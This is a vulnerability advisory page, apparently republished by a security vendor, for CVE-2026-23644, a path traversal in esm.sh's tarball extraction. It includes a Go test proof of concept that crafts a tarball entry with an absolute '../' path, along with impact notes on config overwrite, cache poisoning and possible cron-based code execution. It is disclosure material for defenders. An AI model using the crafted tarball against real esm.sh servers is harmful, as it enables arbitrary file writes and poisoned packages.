🛡️ CVE-2026-23644 — esm.sh

🟠 CVSS 8.0 — High ⚠️ Exploit Public CWE-22 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

esm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages

Summary

The [commit](https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16) does not actually fix the path traversal bug. path.Clean basically normalizes a path but does not prevent absolute paths in a malicious tar file.

PoC

This test file can demonstrate the basic idea pretty easily:

```go

package server

import (

"archive/tar"

"bytes"

"compress/gzip"

"testing"

)

// TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function

// with a malicious tarball containing a path traversal attempt

func TestExtractPackageTarball_PathTraversal(t *testing.T) {

// Create a temporary directory for testing

installDir := "./testdata/good"

// Create a malicious tarball with path traversal

var buf bytes.Buffer

gw := gzip.NewWriter(&buf)

tw := tar.NewWriter(gw)

// Add a normal file

content := []byte("export const foo = 'bar';")

header := &tar.Header{

Name: "package/index.js",

Mode: 0644,

Size: int64(len(content)),

Typeflag: tar.TypeReg,

}

if err := tw.WriteHeader(header); err != nil {

t.Fatal(err)

}

if _, err := tw.Write(content); err != nil {

t.Fatal(err)

}

// Add a malicious file with path traversal

bad := []byte("bad")

header = &tar.Header{

Name: "/../../../bad/bad.txt",

Mode: 0644,

Size: int64(len(bad)),

Typeflag: tar.TypeReg,

}

if err := tw.WriteHeader(header); err != nil {

t.Fatal(err)

}

if _, err := tw.Write(bad); err != nil {

t.Fatal(err)

}

tw.Close()

gw.Close()

// Call extractPackageTarball with the malicious tarball

if err := extractPackageTarball(installDir, "test-package", bytes.NewReader(buf.Bytes())); err != nil {

t.Errorf("extractPackageTarball returned error: %v", err)

}

}

```

Impact

It, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages.

Arbitrary file write _can_ lead to server-side code execution (e.g. Writing to cron files) but it may not be feasible for the default deployment configuration that is checked in. Whether some self-hosted configuration is modified to _enable_ code execution is unclear.

The limiting factors in the default setup that limit escalating this to code execution:

  • extractPackageTarball has a file-extension check which makes some more "obvious" escalations like overwriting binaries in /esm/bin (e.g. deno) impractical since it requires the target file to have an allowlisted extension.
  • Using the Dockerfile in the repo as a baseline for the typical setup: The binary does not run as root and, for the most part, can really only write to /tmp and it's home directory.
  • The deployment scripts do not seem to rely on executing potentially poisoned files in `/tmp.

Fix

Using [os.Root](https://go.dev/blog/osroot) seems like it will solve this issue and doesn't require new dependencies.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability none.

Weakness class

CVE-2026-23644 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.

Affected software

CVE-2026-23644 is recorded against 2 packages.

  • esm.sh (fixed in 136)
  • github.com/esm-dev/esm.sh

Timeline and source

Published on 18 January 2026 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com
github.com
github.com
pkg.go.dev

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
CWE CWE-22
Public Exploit ⚠️ Yes
Source NVD
Published 2026-01-18
Updated 2026-08-12
Modified 2026-06-17

Affected Packages

Software From version Fixed in
esm.sh 136
github.com/esm-dev/esm.sh

Similar Threats

Exploit Protection

Are you running esm.sh?

CVE-2026-23644 carries CVSS 8.0 High rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-23644 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026